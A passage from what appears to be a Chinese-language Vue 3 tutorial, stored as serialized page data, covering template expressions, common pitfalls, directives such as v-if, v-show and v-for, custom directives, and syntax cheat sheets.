里有这个属性就是真）。",[1380,1395,1396,1399,1400,1403,1404,1407],{},[17,1397,1398],{},"动态属性名","用方括号：",[22,1401,1402],{},":[attrName]=\"value\"","，",[22,1405,1406],{},"attrName"," 里放变量。",[1380,1409,1410,1413,1414,1417,1418,1421,1422,1425],{},[17,1411,1412],{},"一次性绑多个属性","：",[22,1415,1416],{},"v-bind=\"{ a: 1, b: 2 }\""," 或直接 ",[22,1419,1420],{},"v-bind=\"obj\"","，组件里常用于把 ",[22,1423,1424],{},"$attrs"," 透传下去。",[119,1427,1429],{"id":1428},"能写表达式不能写语句","能写表达式，不能写语句",[10,1431,1432,1434,1435,1438,1439,1442,1443,1442,1446,1442,1449,1452,1453,1456],{},[22,1433,881],{}," 和指令的值位置只接受",[17,1436,1437],{},"表达式","（能算出一个值的东西）。",[22,1440,1441],{},"if","、",[22,1444,1445],{},"for",[22,1447,1448],{},"while",[22,1450,1451],{},"var","\u002F",[22,1454,1455],{},"let"," 声明、多条语句用分号串起来，这些都不行：",[127,1458,1460],{"className":129,"code":1459,"language":131,"meta":132,"style":132},"\u003Cp>{{ if (a) { 'x' } }}\u003C\u002Fp>       ✗ 语句，编译报错\n\u003Cp>{{ a > 1 ? 'x' : 'y' }}\u003C\u002Fp>    ✓ 三元表达式\n\u003Cp>{{ list.filter(x => x.ok) }}\u003C\u002Fp>   ✓ 但要短，长了就挪进 computed\n",[22,1461,1462,1476,1490],{"__ignoreMap":132},[136,1463,1464,1466,1468,1471,1473],{"class":138,"line":139},[136,1465,143],{"class":142},[136,1467,10],{"class":146},[136,1469,1470],{"class":142},">{{ if (a) { 'x' } }}\u003C\u002F",[136,1472,10],{"class":146},[136,1474,1475],{"class":142},">       ✗ 语句，编译报错\n",[136,1477,1478,1480,1482,1485,1487],{"class":138,"line":169},[136,1479,143],{"class":142},[136,1481,10],{"class":146},[136,1483,1484],{"class":142},">{{ a > 1 ? 'x' : 'y' }}\u003C\u002F",[136,1486,10],{"class":146},[136,1488,1489],{"class":142},">    ✓ 三元表达式\n",[136,1491,1492,1494,1496,1499,1501],{"class":138,"line":176},[136,1493,143],{"class":142},[136,1495,10],{"class":146},[136,1497,1498],{"class":142},">{{ list.filter(x => x.ok) }}\u003C\u002F",[136,1500,10],{"class":146},[136,1502,1503],{"class":142},">   ✓ 但要短，长了就挪进 computed\n",[10,1505,1506,1507,1510,1511,1513],{},"判断标准很简单：",[17,1508,1509],{},"写两行以上逻辑、或者要用到别的响应式变量的中间结果，就别塞在模板里","，挪去 ",[22,1512,428],{},"（第五章）。模板里堆长表达式，日后没人愿意读，也无法单测。",[119,1515,1516],{"id":1516},"表达式里能直接用什么",[10,1518,1519,1520,1523,1524,1442,1527,1442,1530,1442,1533,1442,1536,1539,1540,1543],{},"模板表达式在一个受限的沙箱里执行。可以直接用的有：组件自身 ",[22,1521,1522],{},"setup"," 返回的变量、",[22,1525,1526],{},"Math",[22,1528,1529],{},"Date",[22,1531,1532],{},"JSON",[22,1534,1535],{},"parseInt",[22,1537,1538],{},"parseFloat"," 等一小撮全局白名单，以及全局属性（",[22,1541,1542],{},"app.config.globalProperties","）。",[10,1545,1546,1547,1442,1549,1442,1552,1442,1555,1558,1559,1561,1562,436,1564,1566],{},"不能直接用的：",[22,1548,325],{},[22,1550,1551],{},"require",[22,1553,1554],{},"process",[22,1556,1557],{},"localStorage","、你自己的工具函数。想用工具函数有两种路子——",[22,1560,325],{}," 进来再 ",[22,1563,479],{},[22,1565,439],{}," 里直接 import 就可用），或者封装成全局属性\u002F组合式函数。",[127,1568,1570],{"className":305,"code":1569,"language":307,"meta":132,"style":132},"\u003Cscript setup>\nimport { formatDate } from '@\u002Futils\u002Fdate'   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cspan>{{ formatDate(created) }}\u003C\u002Fspan>\n\u003C\u002Ftemplate>\n",[22,1571,1572,1582,1597,1605,1613,1626],{"__ignoreMap":132},[136,1573,1574,1576,1578,1580],{"class":138,"line":139},[136,1575,143],{"class":142},[136,1577,181],{"class":146},[136,1579,318],{"class":150},[136,1581,166],{"class":142},[136,1583,1584,1586,1589,1591,1594],{"class":138,"line":169},[136,1585,325],{"class":232},[136,1587,1588],{"class":142}," { formatDate } ",[136,1590,331],{"class":232},[136,1592,1593],{"class":157}," '@\u002Futils\u002Fdate'",[136,1595,1596],{"class":456},"   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n",[136,1598,1599,1601,1603],{"class":138,"line":176},[136,1600,292],{"class":142},[136,1602,181],{"class":146},[136,1604,166],{"class":142},[136,1606,1607,1609,1611],{"class":138,"line":199},[136,1608,143],{"class":142},[136,1610,371],{"class":146},[136,1612,166],{"class":142},[136,1614,1615,1617,1619,1622,1624],{"class":138,"line":208},[136,1616,378],{"class":142},[136,1618,136],{"class":146},[136,1620,1621],{"class":142},">{{ formatDate(created) }}\u003C\u002F",[136,1623,136],{"class":146},[136,1625,166],{"class":142},[136,1627,1628,1630,1632],{"class":138,"line":220},[136,1629,292],{"class":142},[136,1631,371],{"class":146},[136,1633,166],{"class":142},[10,1635,1636,1637,1640,1641,1644,1645,1647,1648,1651],{},"Vue 2 的过滤器语法 ",[22,1638,1639],{},"{{ price | currency }}"," 在 Vue 3 里",[17,1642,1643],{},"已删除","，替代品就是 ",[22,1646,428],{}," 或方法调用。接手老代码时全局搜 ",[22,1649,1650],{},"|"," 插值是最快的一刀。",[801,1653],{"height":1654,"src":1655,"title":1656},700,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F02-template-syntax.html","示例 02：插值、v-html、动态属性与表达式边界",[119,1658,816],{"id":1659},"️-本章的坑-1",[10,1661,1662,1668,1669,1672,1673,849],{},[17,1663,1664,1665,1667],{},"1. ",[22,1666,881],{}," 里写了语句，整个组件白屏。"," 模板编译错误在开发版是醒目的报错，生产版可能只剩一句 ",[22,1670,1671],{},"Property or method ... is not defined","。别靠猜，看到空白先去控制台第一行找 ",[22,1674,1675],{},"error compiling template",[10,1677,1678,822,1681,1684,1685,1688],{},[17,1679,1680],{},"2. 属性大小写。",[22,1682,1683],{},":userName"," 在浏览器 in-DOM 模板里变成 ",[22,1686,1687],{},":username","，props 收不到值。模板里请统一 kebab-case。",[10,1690,1691,822,1697,1700,1701,849],{},[17,1692,1693,1694,1696],{},"3. 自闭合标签只在 ",[22,1695,28],{}," 里合法。",[22,1698,1699],{},"\u003Cuser-card \u002F>"," 在浏览器解析的 HTML 里会被当成「开始标签没结束」，把后面的内容全吞进它的插槽。页面里写模板时老实补上 ",[22,1702,1703],{},"\u003C\u002Fuser-card>",[10,1705,1706,1712,1713,1715,1716,849],{},[17,1707,1708,1709,1711],{},"4. ",[22,1710,1104],{}," 里不能用插值。"," 内容被当作 HTML 片段处理，",[22,1714,881],{}," 不再解析——很多人在这卡半小时。要混用就拆开写：",[22,1717,1718],{},"\u003Cp>前缀 \u003Cspan v-html=\"html\">\u003C\u002Fspan>\u003C\u002Fp>",[10,1720,1721,1728,1729,1452,1732,1735,1736,1739,1740,1743,1744,1746],{},[17,1722,1723,1724,1727],{},"5. ",[22,1725,1726],{},":src=\"null\""," 不等于「不显示」。"," 属性值为 ",[22,1730,1731],{},"null",[22,1733,1734],{},"undefined"," 时会被移除，但 ",[22,1737,1738],{},"''"," 会保留成 ",[22,1741,1742],{},"src=\"\"","，浏览器会按当前页面 URL 请求一次图片，控制台出现诡异的 404。要么 ",[22,1745,811],{}," 控制渲染，要么给一个真实占位图。",[10,1748,1749,822,1752,1755,1756,1759,1760,1763,1764,1767],{},[17,1750,1751],{},"6. 数字字符串的坑。",[22,1753,1754],{},":count=\"1\""," 传的是数字，",[22,1757,1758],{},"count=\"1\""," 传的是字符串 ",[22,1761,1762],{},"\"1\"","。组件里做 ",[22,1765,1766],{},"props.count > 1"," 时后者会意外成立\u002F失败，靠 props 类型校验（第九章）把这类问题挡在开发版。",[10,1769,1770,1773,1774,1777,1778,1781],{},[17,1771,1772],{},"7. 自定义插号分隔符在 Vue 3 被移除。"," 老代码里的 ",[22,1775,1776],{},"delimiters: ['${', '}']","（为了兼容后端模板）在 Vue 3 不存在了，改用 ",[22,1779,1780],{},"v-text"," 或者转义后端标签。",[119,1783,1785],{"id":1784},"附模板语法速查","附：模板语法速查",[53,1787,1788,1801],{},[56,1789,1790],{},[59,1791,1792,1795,1798],{},[62,1793,1794],{},"想做的事",[62,1796,1797],{},"写法",[62,1799,1800],{},"备注",[72,1802,1803,1816,1829,1845,1857,1871,1883,1901,1917,1930,1945,1958,1977,1990,2003],{},[59,1804,1805,1808,1813],{},[77,1806,1807],{},"输出文本",[77,1809,1810],{},[22,1811,1812],{},"{{ msg }}",[77,1814,1815],{},"自动转义，安全",[59,1817,1818,1821,1826],{},[77,1819,1820],{},"输出 HTML",[77,1822,1823],{},[22,1824,1825],{},"v-html=\"msg\"",[77,1827,1828],{},"有 XSS 风险，别用于用户输入",[59,1830,1831,1834,1839],{},[77,1832,1833],{},"绑定属性",[77,1835,1836],{},[22,1837,1838],{},":href=\"url\"",[77,1840,1841,1844],{},[22,1842,1843],{},"v-bind:"," 的缩写",[59,1846,1847,1849,1854],{},[77,1848,1398],{},[77,1850,1851],{},[22,1852,1853],{},":[name]=\"value\"",[77,1855,1856],{},"方括号里是变量",[59,1858,1859,1862,1866],{},[77,1860,1861],{},"一次绑多属性",[77,1863,1864],{},[22,1865,1420],{},[77,1867,1868,1869],{},"常配 ",[22,1870,1424],{},[59,1872,1873,1875,1880],{},[77,1874,1384],{},[77,1876,1877],{},[22,1878,1879],{},":disabled=\"isOff\"",[77,1881,1882],{},"值为假时移除属性",[59,1884,1885,1888,1898],{},[77,1886,1887],{},"条件渲染",[77,1889,1890,422,1892,422,1895],{},[22,1891,811],{},[22,1893,1894],{},"v-else-if",[22,1896,1897],{},"v-else",[77,1899,1900],{},"假时节点不存在",[59,1902,1903,1906,1911],{},[77,1904,1905],{},"切换显示",[77,1907,1908],{},[22,1909,1910],{},"v-show",[77,1912,1913,1914],{},"节点在，只是 ",[22,1915,1916],{},"display:none",[59,1918,1919,1922,1927],{},[77,1920,1921],{},"列表",[77,1923,1924],{},[22,1925,1926],{},"v-for=\"item in list\" :key=\"item.id\"",[77,1928,1929],{},"key 必填（第十一章）",[59,1931,1932,1935,1940],{},[77,1933,1934],{},"事件",[77,1936,1937],{},[22,1938,1939],{},"@click=\"doIt\"",[77,1941,1942,1844],{},[22,1943,1944],{},"v-on:",[59,1946,1947,1950,1955],{},[77,1948,1949],{},"表单双向",[77,1951,1952],{},[22,1953,1954],{},"v-model=\"text\"",[77,1956,1957],{},"第六章",[59,1959,1960,1963,1974],{},[77,1961,1962],{},"插槽",[77,1964,1965,422,1968,422,1971],{},[22,1966,1967],{},"\u003Cslot>",[22,1969,1970],{},"#name",[22,1972,1973],{},"v-slot",[77,1975,1976],{},"第十章",[59,1978,1979,1982,1987],{},[77,1980,1981],{},"只渲染一次",[77,1983,1984],{},[22,1985,1986],{},"v-once",[77,1988,1989],{},"静态内容提速",[59,1991,1992,1995,2000],{},[77,1993,1994],{},"跳过编译",[77,1996,1997],{},[22,1998,1999],{},"v-pre",[77,2001,2002],{},"展示模板代码时必用",[59,2004,2005,2008,2012],{},[77,2006,2007],{},"挂载前隐藏",[77,2009,2010],{},[22,2011,886],{},[77,2013,2014],{},"配合 CSS 防闪烁",[35,2016,2018],{"id":2017},"三指令条件循环事件与动态参数","三、指令：条件、循环、事件与动态参数",[10,2020,2021,2022,2025],{},"指令就是模板里的「特殊属性」，以 ",[22,2023,2024],{},"v-"," 开头，告诉 Vue「对这个元素做点什么」。统一结构：",[127,2027,2029],{"className":129,"code":2028,"language":131,"meta":132,"style":132},"v-name:argument.modifier1.modifier2=\"expression\"\n│    │        │                    │\n指令 参数      修饰符                表达式（不能是语句）\n",[22,2030,2031,2036,2041],{"__ignoreMap":132},[136,2032,2033],{"class":138,"line":139},[136,2034,2035],{"class":142},"v-name:argument.modifier1.modifier2=\"expression\"\n",[136,2037,2038],{"class":138,"line":169},[136,2039,2040],{"class":142},"│    │        │                    │\n",[136,2042,2043],{"class":138,"line":176},[136,2044,2045],{"class":142},"指令 参数      修饰符                表达式（不能是语句）\n",[10,2047,2048,2049,2052,2053,2056,2057,2060,2061,400,2063,2065,2066,400,2069,870,2072,2075,2076,849],{},"看三个例子就能对上号：",[22,2050,2051],{},"v-on:click.stop=\"close\"","（事件指令 + 参数 click + 修饰符 stop）、",[22,2054,2055],{},"v-bind:href=\"url\"","（属性绑定）、",[22,2058,2059],{},"v-slot:header","（插槽具名）。",[22,2062,1944],{},[22,2064,1843],{}," 用得最多，所以有缩写 ",[22,2067,2068],{},"@click",[22,2070,2071],{},":href",[22,2073,2074],{},"v-slot:"," 的缩写是 ",[22,2077,2078],{},"#header",[119,2080,2082,2083,634,2085,2087],{"id":2081},"条件v-if-与-v-show-选哪个","条件：",[22,2084,811],{},[22,2086,1910],{}," 选哪个",[53,2089,2090,2104],{},[56,2091,2092],{},[59,2093,2094,2096,2100],{},[62,2095],{},[62,2097,2098],{},[22,2099,811],{},[62,2101,2102],{},[22,2103,1910],{},[72,2105,2106,2122,2133,2144,2158],{},[59,2107,2108,2111,2116],{},[77,2109,2110],{},"假的时元素",[77,2112,2113],{},[17,2114,2115],{},"不在 DOM 里",[77,2117,2118,2119],{},"在 DOM 里，",[22,2120,2121],{},"style=\"display:none\"",[59,2123,2124,2127,2130],{},[77,2125,2126],{},"切换开销",[77,2128,2129],{},"销毁\u002F重建，有子组件生命周期",[77,2131,2132],{},"只改一个 CSS 属性",[59,2134,2135,2138,2141],{},[77,2136,2137],{},"初始开销",[77,2139,2140],{},"假时完全不渲染，几乎为零",[77,2142,2143],{},"一样要渲染",[59,2145,2146,2152,2155],{},[77,2147,2148,2149,2151],{},"支持 ",[22,2150,403],{}," 分组",[77,2153,2154],{},"支持",[77,2156,2157],{},"不支持（需要真实元素）",[59,2159,2160,2162,2165],{},[77,2161,70],{},[77,2163,2164],{},"很少切换、初始就该省掉",[77,2166,2167],{},"频繁切换（tab 面板、下拉展开）",[10,2169,2170,422,2172,2174,2175,2178,2179,2181],{},[22,2171,1897],{},[22,2173,1894],{}," 必须",[17,2176,2177],{},"紧跟","在上一个 ",[22,2180,811],{}," 元素之后（中间只能有空格和 HTML 注释），否则 Vue 找不到配对、直接报错。",[119,2183,2185],{"id":2184},"循环事件绑定一次看全","循环、事件、绑定：一次看全",[127,2187,2189],{"className":305,"code":2188,"language":307,"meta":132,"style":132},"\u003Ctemplate>\n  \u003Cli v-for=\"(user, i) in users\" :key=\"user.id\">{{ i + 1 }}. {{ user.name }}\u003C\u002Fli>\n\n  \u003Cbutton @click=\"count++\">计数 {{ count }}\u003C\u002Fbutton>\n  \u003Cform @submit.prevent=\"onSubmit\">          \u003C!-- .prevent 拦住默认提交 -->\n    \u003Cinput v-model=\"q\" @keyup.enter=\"search\">  \u003C!-- 按键修饰符 -->\n  \u003C\u002Fform>\n\n  \u003Cdiv :class=\"{ panel: true, active: isOpen }\" :style=\"{ height: h + 'px' }\">\n    \u003Cp v-show=\"isOpen\">内容\u003C\u002Fp>\n    \u003Cp v-text=\"msg\">\u003C\u002Fp>                     \u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n    \u003Cp v-pre>这里的 {{ code }} 原样显示\u003C\u002Fp>   \u003C!-- 展示模板代码专用 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[22,2190,2191,2199,2228,2232,2254,2274,2303,2312,2316,2340,2361,2384,2404,2413],{"__ignoreMap":132},[136,2192,2193,2195,2197],{"class":138,"line":139},[136,2194,143],{"class":142},[136,2196,371],{"class":146},[136,2198,166],{"class":142},[136,2200,2201,2203,2205,2208,2210,2213,2216,2218,2221,2224,2226],{"class":138,"line":169},[136,2202,378],{"class":142},[136,2204,1380],{"class":146},[136,2206,2207],{"class":150}," v-for",[136,2209,154],{"class":142},[136,2211,2212],{"class":157},"\"(user, i) in users\"",[136,2214,2215],{"class":150}," :key",[136,2217,154],{"class":142},[136,2219,2220],{"class":157},"\"user.id\"",[136,2222,2223],{"class":142},">{{ i + 1 }}. {{ user.name }}\u003C\u002F",[136,2225,1380],{"class":146},[136,2227,166],{"class":142},[136,2229,2230],{"class":138,"line":176},[136,2231,173],{"emptyLinePlaceholder":172},[136,2233,2234,2236,2239,2242,2244,2247,2250,2252],{"class":138,"line":199},[136,2235,378],{"class":142},[136,2237,2238],{"class":146},"button",[136,2240,2241],{"class":150}," @click",[136,2243,154],{"class":142},[136,2245,2246],{"class":157},"\"count++\"",[136,2248,2249],{"class":142},">计数 {{ count }}\u003C\u002F",[136,2251,2238],{"class":146},[136,2253,166],{"class":142},[136,2255,2256,2258,2261,2264,2266,2269,2271],{"class":138,"line":208},[136,2257,378],{"class":142},[136,2259,2260],{"class":146},"form",[136,2262,2263],{"class":150}," @submit.prevent",[136,2265,154],{"class":142},[136,2267,2268],{"class":157},"\"onSubmit\"",[136,2270,1190],{"class":142},[136,2272,2273],{"class":456},"\u003C!-- .prevent 拦住默认提交 -->\n",[136,2275,2276,2279,2282,2285,2287,2290,2293,2295,2298,2300],{"class":138,"line":220},[136,2277,2278],{"class":142},"    \u003C",[136,2280,2281],{"class":146},"input",[136,2283,2284],{"class":150}," v-model",[136,2286,154],{"class":142},[136,2288,2289],{"class":157},"\"q\"",[136,2291,2292],{"class":150}," @keyup.enter",[136,2294,154],{"class":142},[136,2296,2297],{"class":157},"\"search\"",[136,2299,1224],{"class":142},[136,2301,2302],{"class":456},"\u003C!-- 按键修饰符 -->\n",[136,2304,2305,2308,2310],{"class":138,"line":229},[136,2306,2307],{"class":142},"  \u003C\u002F",[136,2309,2260],{"class":146},[136,2311,166],{"class":142},[136,2313,2314],{"class":138,"line":258},[136,2315,173],{"emptyLinePlaceholder":172},[136,2317,2318,2320,2322,2325,2327,2330,2333,2335,2338],{"class":138,"line":267},[136,2319,378],{"class":142},[136,2321,147],{"class":146},[136,2323,2324],{"class":150}," :class",[136,2326,154],{"class":142},[136,2328,2329],{"class":157},"\"{ panel: true, active: isOpen }\"",[136,2331,2332],{"class":150}," :style",[136,2334,154],{"class":142},[136,2336,2337],{"class":157},"\"{ height: h + 'px' }\"",[136,2339,166],{"class":142},[136,2341,2342,2344,2346,2349,2351,2354,2357,2359],{"class":138,"line":273},[136,2343,2278],{"class":142},[136,2345,10],{"class":146},[136,2347,2348],{"class":150}," v-show",[136,2350,154],{"class":142},[136,2352,2353],{"class":157},"\"isOpen\"",[136,2355,2356],{"class":142},">内容\u003C\u002F",[136,2358,10],{"class":146},[136,2360,166],{"class":142},[136,2362,2363,2365,2367,2370,2372,2374,2376,2378,2381],{"class":138,"line":289},[136,2364,2278],{"class":142},[136,2366,10],{"class":146},[136,2368,2369],{"class":150}," v-text",[136,2371,154],{"class":142},[136,2373,1149],{"class":157},[136,2375,192],{"class":142},[136,2377,10],{"class":146},[136,2379,2380],{"class":142},">                     ",[136,2382,2383],{"class":456},"\u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n",[136,2385,2386,2388,2390,2393,2396,2398,2401],{"class":138,"line":605},[136,2387,2278],{"class":142},[136,2389,10],{"class":146},[136,2391,2392],{"class":150}," v-pre",[136,2394,2395],{"class":142},">这里的 {{ code }} 原样显示\u003C\u002F",[136,2397,10],{"class":146},[136,2399,2400],{"class":142},">   ",[136,2402,2403],{"class":456},"\u003C!-- 展示模板代码专用 -->\n",[136,2405,2407,2409,2411],{"class":138,"line":2406},13,[136,2408,2307],{"class":142},[136,2410,147],{"class":146},[136,2412,166],{"class":142},[136,2414,2416,2418,2420],{"class":138,"line":2415},14,[136,2417,292],{"class":142},[136,2419,371],{"class":146},[136,2421,166],{"class":142},[10,2423,2424],{},"内置指令一共十几个，完整清单在本章末尾的速查表里。这里只强调三个不常被注意的：",[1377,2426,2427,2438,2443],{},[1380,2428,2429,2431,2432,2434,2435,2437],{},[22,2430,886],{},"：配合 ",[22,2433,889],{}," 解决挂载前的 ",[22,2436,881],{}," 闪烁。",[1380,2439,2440,2442],{},[22,2441,1986],{},"：元素渲染一次后不再更新，用于纯静态内容（省下一遍 diff）。",[1380,2444,2445,1413,2448,2451],{},[22,2446,2447],{},"v-memo",[22,2449,2450],{},"v-memo=\"[依赖项]\"","，依赖不变时跳过整棵子树更新，是长列表的兜底加速手段（第十一章有场景）。",[119,2453,2455],{"id":2454},"自定义指令给元素挂点行为","自定义指令：给元素挂点「行为」",[10,2457,2458],{},"组件解决「一块界面」，指令解决「某个元素上的 DOM 行为」（聚焦、拖拽、埋点、水波纹）。",[127,2460,2462],{"className":447,"code":2461,"language":449,"meta":132,"style":132},"\u002F\u002F 全局注册\napp.directive('focus', {\n  mounted(el) { el.focus() }\n})\n\n\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\nconst vFocus = { mounted: (el) => el.focus() }\n",[22,2463,2464,2469,2482,2498,2503,2507,2512],{"__ignoreMap":132},[136,2465,2466],{"class":138,"line":139},[136,2467,2468],{"class":456},"\u002F\u002F 全局注册\n",[136,2470,2471,2473,2475,2477,2479],{"class":138,"line":169},[136,2472,666],{"class":142},[136,2474,687],{"class":150},[136,2476,249],{"class":142},[136,2478,692],{"class":157},[136,2480,2481],{"class":142},", {\n",[136,2483,2484,2486,2488,2490,2493,2495],{"class":138,"line":176},[136,2485,519],{"class":150},[136,2487,249],{"class":142},[136,2489,704],{"class":703},[136,2491,2492],{"class":142},") { el.",[136,2494,715],{"class":150},[136,2496,2497],{"class":142},"() }\n",[136,2499,2500],{"class":138,"line":199},[136,2501,2502],{"class":142},"})\n",[136,2504,2505],{"class":138,"line":208},[136,2506,173],{"emptyLinePlaceholder":172},[136,2508,2509],{"class":138,"line":220},[136,2510,2511],{"class":456},"\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\n",[136,2513,2514,2516,2519,2521,2524,2526,2528,2530,2532,2534,2536,2538],{"class":138,"line":229},[136,2515,339],{"class":232},[136,2517,2518],{"class":236}," vFocus",[136,2520,240],{"class":232},[136,2522,2523],{"class":142}," { ",[136,2525,431],{"class":150},[136,2527,700],{"class":142},[136,2529,704],{"class":703},[136,2531,707],{"class":142},[136,2533,593],{"class":232},[136,2535,712],{"class":142},[136,2537,715],{"class":150},[136,2539,2497],{"class":142},[127,2541,2543],{"className":129,"code":2542,"language":131,"meta":132,"style":132},"\u003Cinput v-focus>\n\u003Cdiv v-track:click=\"'首页按钮'\">带参数和修饰符也行\u003C\u002Fdiv>\n",[22,2544,2545,2556],{"__ignoreMap":132},[136,2546,2547,2549,2551,2554],{"class":138,"line":139},[136,2548,143],{"class":142},[136,2550,2281],{"class":146},[136,2552,2553],{"class":150}," v-focus",[136,2555,166],{"class":142},[136,2557,2558,2560,2562,2565,2567,2570,2573,2575],{"class":138,"line":169},[136,2559,143],{"class":142},[136,2561,147],{"class":146},[136,2563,2564],{"class":150}," v-track:click",[136,2566,154],{"class":142},[136,2568,2569],{"class":157},"\"'首页按钮'\"",[136,2571,2572],{"class":142},">带参数和修饰符也行\u003C\u002F",[136,2574,147],{"class":146},[136,2576,166],{"class":142},[10,2578,2579,2580,2582,2583,2586,2587,2590,2591,1452,2594,2596,2597,849,2600,2603],{},"钩子按用途挑：只在挂载时干一次用 ",[22,2581,431],{},"；每次更新都要同步 DOM 用 ",[22,2584,2585],{},"updated","；需要区分「值变了」和「组件重渲染」用带 ",[22,2588,2589],{},"oldValue"," 的 ",[22,2592,2593],{},"beforeUpdate",[22,2595,2585],{},"；卸载清理用 ",[22,2598,2599],{},"unmounted",[17,2601,2602],{},"指令里不要写业务逻辑、不要去改响应式数据","——它只负责「对这个 DOM 元素做操作」。",[801,2605],{"height":1654,"src":2606,"title":2607},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F03-directives.html","示例 03：v-if\u002Fv-show 的真差别、动态参数与事件修饰符",[10,2609,2610,2611,2613,2614,2616,2617,2619,2620,2623],{},"示例 03 里可以直接数 DOM 节点：",[22,2612,811],{}," 关掉时元素真的没了，",[22,2615,1910],{}," 关掉时它只是被 ",[22,2618,1916],{}," 藏起来；第三块能看到冒泡链路（不加 ",[22,2621,2622],{},".stop"," 会先 inner 后 outer）。",[119,2625,816],{"id":2626},"️-本章的坑-2",[10,2628,2629,822,2632,1442,2635,2638,2639,849],{},[17,2630,2631],{},"1. 指令的值必须是表达式，且不能声明变量。",[22,2633,2634],{},"v-if=\"const a = 1\"",[22,2636,2637],{},"v-for=\"let x of list\""," 都编译失败。想要中间变量就用 ",[22,2640,428],{},[10,2642,2643,2652,2653,2655,2656,2659,2660,2590,2662,2665,2666,2669,2670,2672,2673,2675,2676,2678],{},[17,2644,2645,2646,400,2648,2651],{},"2. ",[22,2647,811],{},[22,2649,2650],{},"v-for"," 写在同一个元素上。"," Vue 3 里 ",[22,2654,811],{}," 优先级更高，它会",[17,2657,2658],{},"先","执行——此时 ",[22,2661,2650],{},[22,2663,2664],{},"item"," 还不存在，报 ",[22,2667,2668],{},"item is not defined","。解法三条（第十一章细讲）：把 ",[22,2671,811],{}," 挪到外层 ",[22,2674,403],{},"、用 ",[22,2677,428],{}," 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。",[10,2680,2681,2689,2690,2693],{},[17,2682,878,2683,2685,2686,2688],{},[22,2684,1910],{}," 不能用在 ",[22,2687,403],{}," 或组件上。"," 它需要一个能改 ",[22,2691,2692],{},"style"," 的真实元素；组件是多根时也没地方落。",[10,2695,2696,2699],{},[17,2697,2698],{},"4. 自定义指令加在组件上时，只有单根组件生效。"," 它拿不到组件内部元素，会尝试落到根元素；多根（fragment）时直接警告并失效。",[10,2701,2702,822,2705,2708,2709,2712,2713,2715],{},[17,2703,2704],{},"5. 动态参数里别放空格、大写或复杂表达式。",[22,2706,2707],{},":[name]"," 里的 ",[22,2710,2711],{},"name"," 求值结果若是 ",[22,2714,1734],{},"，整个绑定属性会被移除（有时是你想要的，有时是漏配的 bug）。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。",[10,2717,2718,822,2721,634,2724,2727,2728,2731,2732,2735],{},[17,2719,2720],{},"6. 修饰符顺序有意义。",[22,2722,2723],{},"@click.stop.prevent",[22,2725,2726],{},"@click.prevent.stop"," 都能工作，但 ",[22,2729,2730],{},"@click.self.stop"," 里 ",[22,2733,2734],{},".self"," 会先做判断，后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读，别猜。",[10,2737,2738,822,2741,1442,2744,2747,2748,2750,2751,2753],{},[17,2739,2740],{},"7. 拼错指令名不会报错，只会「什么都没发生」。",[22,2742,2743],{},"v-onClck",[22,2745,2746],{},"v-modle"," 这类拼写错误 Vue 不会拦（开发版有 ",[22,2749,2746],{}," 的提示，但不覆盖全部），排查时先 grep 一遍 ",[22,2752,2024],{}," 开头的属性名。",[119,2755,2757],{"id":2756},"附内置指令速查表","附：内置指令速查表",[53,2759,2760,2773],{},[56,2761,2762],{},[59,2763,2764,2767,2770],{},[62,2765,2766],{},"指令",[62,2768,2769],{},"作用",[62,2771,2772],{},"典型写法",[72,2774,2775,2791,2808,2826,2840,2859,2875,2890,2906,2918,2929,2940],{},[59,2776,2777,2783,2786],{},[77,2778,2779,422,2781],{},[22,2780,1780],{},[22,2782,1104],{},[77,2784,2785],{},"设置 textContent \u002F innerHTML",[77,2787,2788],{},[22,2789,2790],{},"v-text=\"msg\"",[59,2792,2793,2797,2803],{},[77,2794,2795],{},[22,2796,1910],{},[77,2798,2799,2800],{},"切换 ",[22,2801,2802],{},"display",[77,2804,2805],{},[22,2806,2807],{},"v-show=\"isOpen\"",[59,2809,2810,2818,2821],{},[77,2811,2812,422,2814,422,2816],{},[22,2813,811],{},[22,2815,1894],{},[22,2817,1897],{},[77,2819,2820],{},"条件渲染（增删节点）",[77,2822,2823],{},[22,2824,2825],{},"v-else-if=\"n > 3\"",[59,2827,2828,2832,2835],{},[77,2829,2830],{},[22,2831,2650],{},[77,2833,2834],{},"列表\u002F对象\u002F数字\u002F字符串遍历",[77,2836,2837],{},[22,2838,2839],{},"v-for=\"(v, k) in obj\" :key=\"k\"",[59,2841,2842,2851,2854],{},[77,2843,2844,731,2847,2850],{},[22,2845,2846],{},"v-on",[22,2848,2849],{},"@",")",[77,2852,2853],{},"监听事件，支持修饰符",[77,2855,2856],{},[22,2857,2858],{},"@keyup.esc=\"close\"",[59,2860,2861,2867,2870],{},[77,2862,2863,731,2865,2850],{},[22,2864,1255],{},[22,2866,1259],{},[77,2868,2869],{},"绑定属性\u002Fprops\u002F样式\u002Fclass",[77,2871,2872],{},[22,2873,2874],{},":class=\"clsObj\"",[59,2876,2877,2882,2885],{},[77,2878,2879],{},[22,2880,2881],{},"v-model",[77,2883,2884],{},"表单\u002F组件双向绑定",[77,2886,2887],{},[22,2888,2889],{},"v-model.trim=\"q\"",[59,2891,2892,2899,2901],{},[77,2893,2894,731,2896,2850],{},[22,2895,1973],{},[22,2897,2898],{},"#",[77,2900,1962],{},[77,2902,2903],{},[22,2904,2905],{},"#header=\"{ title 